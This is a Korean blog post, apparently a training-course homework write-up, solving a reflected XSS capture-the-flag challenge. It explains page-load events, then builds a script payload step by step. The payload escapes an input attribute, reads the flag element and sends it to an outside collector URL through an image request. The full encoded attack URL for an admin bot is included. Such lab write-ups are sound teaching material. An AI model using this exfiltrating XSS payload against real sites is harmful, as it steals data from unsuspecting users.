[normaltic 취업반 5기] 2024-01-10 11주차 과제 : 2번 과제 Basic Script Prac 문제 풀이

2024. 1. 15. 06:38normaltic 취업반 5기/과제

 

과제 목표

 

  • Basic Script Prac 문제에서 플레그가 위치한 부분을 관리자가 접근했을 시 플레그를 공격자 웹 서버로 요청하라.

 

DOM(Document Object Model) 및 웹 페이지 로드 시점

 

  DOM이란 웹 브라우저가 HTML에 대한 정보들을 object 자료로 정리한 것을 의미한다. DOM을 통해서 Javascript는 HTML 요소에 접근이 가능하다. 그러나 접근이 가능하다고 해서 무조건 가능한 것은 아니다. 이는 HTML의 로드되는 시점에 따라 다르기 때문이다.

 

  먼저 HTML은 절차지향 언어이기 때문에 위에서부터 차례대로 실행된다. 이러한 특성으로 인해 스크립트로 접근하는 HTML 요소가 스크립트보다 아래에 존재하는 경우 정의되어있지 않다는 오류가 발생하게 된다. 

 

웹 페이지 응답 시 소스
스크립트 오류 발생

 

  위 내용은 예시를 통해서 쉽게 이해가 가능하다. 웹 페이지 응답 시 소스를 보면 빨간색 상자에 스크립트가 삽입되어 있으며 그 내용은 name=info인 HTML 요소의 속성인 placeholder의 내용을 콘솔창에 띄우라는 의미다. 그러나 name=info인 HTML 요소는 스크립트 보다 아래인 파란색 상자에 입력되어 있어 스크립트가 작동할 시점에 name=info인 HTML 요소는 로드되어있지 않은 상태이다. 이로 인해서 스크립트 오류가 발생하게 되며 오류의 내용은 undefined이다. 즉, 스크립트로 접근하려는 HTML 요소는 정의되어있지 않은 상태를 의미한다.

 

  그렇다면 위와 같은 상황을 해결하려면 어떻게 해야하는가?를 알아보기 위해 먼저 웹 페이지가 로드되는 시점들과 그때 발생하는 이벤트들에 대해서 알아보도록 하자.

 

1) 웹 페이지의 모든 콘텐츠가 로드되는 시점 : onload

 

  웹 페이지의 모든 콘텐츠(image, script, css 등)가 로드되는 시점에 발생하는 이벤트는 onload이다.

 

2) 웹 페이지의 HTML, script까지 로드되는 시점 : DOMContentLoded

 

  웹 페이지의 HTML, script 요소들만 먼저 로드되는 시점에 발생하는 이벤트는 DOMContentLoaded이다. DOMContentLoaded 이벤트는 onload 이벤트보다 먼저 발생하며 빠른 실행속도가 필요하다 싶을 때 사용한다.

 

  이처럼 웹 페이지가 로드되는 시점에 따라 발생하는 이벤트가 다르다보니 조건에 맞는 이벤트를 사용하여 스크립트를 실행시킬 수 있으며 이를 통해 위와 같은 문제를 해결 가능하다.

 

 

Basic Script Prac 문제 설명

 

  BSP(Basic Script Prac)문제를 풀기 위해 단계적으로 풀어간다.

  1. XSS 공격이 가능한 포인트를 찾는다.
  2. 포인트에서 스크립트를 삽입했을 때 작동하는지 확인한다. (alert(1) 함수 실행)
  3. 성공적으로 작동했을 경우 문제의 답을 얻기 위해 실행할 자바스크립트 함수를 구성한다.
  4. XSS 공격을 수행하기 위해 XSS로 인해 스크립트가 작동하는 URL을 관리자가 접근하도록 한다.
  5. 공격자 웹 서버로 플레그가 전달되면 문제 풀이 성공

 

1) XSS 공격 가능 포인트 찾기

 

 

  웹 페이지 URL을 클릭하게 되면 로그인 버튼과 문의 게시판 버튼이 보이며 로그인을 위해 로그인 버튼을 클릭해 준다. 그리고 아이디와 비밀번호를 입력 후 로그인을 하게 되면 마이페이지, 공지 사항, Logout 버튼이 보이는 웹 페이지로 이동하게 된다. XSS 공격 포인트를 확인하기 위해 먼저 마이페이지 버튼을 클릭하여 이동해 준다.

 

 

  마이페이지로 이동하게 되면 개인정보란에 'Flag Here..!'라는 문자열이 쓰여있다. 그렇다는 것은 이곳에서 플레그를 찾을 수 있다는 가능성이 존재한다는 것이다. 

 

 

  URL을 확인해 보면 해당 웹 페이지는 GET 메소드로 요청하는 것을 알 수 있다. 그렇다는 것은 Reflected XSS 공격 포인트가 존재할 수도 있다는 것이다. 이를 확인해보기 위해 user 파라미터의 값을 변경했더니 변경한 값 그대로 개인정보란에 출력이 되었다.

 

 

2) 포인트에서 스크립트를 삽입했을 때 작동하는지 확인한다. (alert(1) 함수 실행)

 

 

  해당 웹 페이지에서 user 파라미터 값이 출력한 부분을 Burp Suite를 통해 확인해보면 input 태그의 속성인 placeholder의 값으로 출력되는 것을 확인할 수 있다. 그렇다면 user 파라미터에 스크립트 삽입 시 "><script>alert(1)</script><"형태로 입력하여 input 태그를 탈출시킴과 동시에 스크립트를 작동시킨다.

 

 

  스크립트 삽입 결과 정상적으로 작동하는 것을 확인할 수 있다.

 

 

3) 성공적으로 작동했을 경우 문제의 답을 얻기 위해 실행할 자바스크립트 함수를 구성한다.

 

  스크립트가 성공적으로 작동하는 것을 확인했으니 이제 문제의 목표에 맞도록 함수를 삽입한다. 우선 먼저 고려해야 할 것은 스크립트가 삽입되는 위치보다 아래에 위치한 HTML 요소에 접근을 해야 하기 때문에 스크립트 태그 내에 자바스크립트 함수를 그대로 삽입하게 되면 전부 로드되지 않은 상태에서 스크립트가 작동하므로 undefined 오류가 발생할 것이다. 그렇기 때문에 웹 페이지가 전부 로드된 다음에 자바스크립트 함수를 실행시키는 방향으로 구성을 해야 한다.

 

  onload와 DOMContentLoaded 이벤트를 삽입하여 웹 페이지가 전부 로드된 후 스크립트가 작동하도록 할 수 있다. 두 이벤트 중 취향에 맞는 하나를 선택하여 페이로드를 스크립트 태그 내에 구성하면 다음과 같이 구성할 수 있다.

 

  1. document.addEventListener('DOMContentLoaded',function() {실행할 함수 삽입 위치});을 삽입함으로써 웹 페이지가 전부 로드된 후 스크립트가 작동하도록 만든다.
  2. var data=document.getElementsByName('info')[0].placeholder;으로 플레그가 입력되어 있는 HTML 요소를 지정하는 코드를 작성한다.
  3. var i=new Image();i.src='https://enu6udooftanf.x.pipedream.net/?flag='+data;으로 스크립트를 작동시킨 클라이언트의 웹 페이지에서 HTML 요소에 해당하는 값을 공격자 도메인으로 전송하는 코드를 작성한다.
  4. 실행할 함수 삽입 위치에 2번 코드와 3번 코드를 합친 var data=document.getElementsByName('info')[0].placeholder;var i=new Image();i.src='https://enu6udooftanf.x.pipedream.net/?flag='+data; 코드를 삽입한다.
  5. 1번 코드와 4번 코드를 합치면 document.addEventListener('DOMContentLoaded',function() { var data=document.getElementsByName('info')[0].placeholder;var i=new Image();i.src='https://enu6udooftanf.x.pipedream.net/?flag='+data; }); 으로 코드가 완성된다.
  6. 5번 코드를 URL에 삽입하기 위해 ' '(빈칸), '+'(더하기)를 URL 인코딩하여 수정해 주면  document.addEventListener('DOMContentLoaded',function()%20{ var%20data=document.getElementsByName('info')[0].placeholder;var%20i=new%20Image();i.src='https://enu6udooftanf.x.pipedream.net/?flag='%2bdata; });으로 스크립트 태그 내에 삽입할 페이로드가 완성된다.
  7. 결과적으로 user 파라미터에 삽입될 코드는 "><script>document.addEventListener('DOMContentLoaded',function()%20{ var%20data=document.getElementsByName('info')[0].placeholder;var%20i=new%20Image();i.src='https://enu6udooftanf.x.pipedream.net/?flag='%2bdata; });</script><" 이다.

 

 

  완성된 7번 코드를 user 파라미터에 삽입하여 요청한 결과 의도대로 스크립트가 작동하는 것을 확인할 수 있다.

 

4) XSS 공격을 수행하기 위해 XSS로 인해 스크립트가 작동하는 URL을 관리자가 접근하도록 한다.

 

 

  3)에서 스크립트 삽입 후 만들어진 URL인 http://ctf.segfaulthub.com:4343/scriptBasic/mypage.php?user=%22%3E%3Cscript%3Edocument.addEventListener(%27DOMContentLoaded%27,function()%20{%20var%20data=document.getElementsByName(%27info%27)[0].placeholder;var%20i=new%20Image();i.src=%27https://enu6udooftanf.x.pipedream.net/?flag=%27%2bdata;%20});%3C/script%3E%3C%22을 관리자가 접근하도록 한다.

 

5) 공격자 웹 서버로 플레그가 전달되면 문제 풀이 성공

 

 

  공격자 웹서버로 관리자가 스크립트를 작동시킨 결과를 얻을 수 있었다.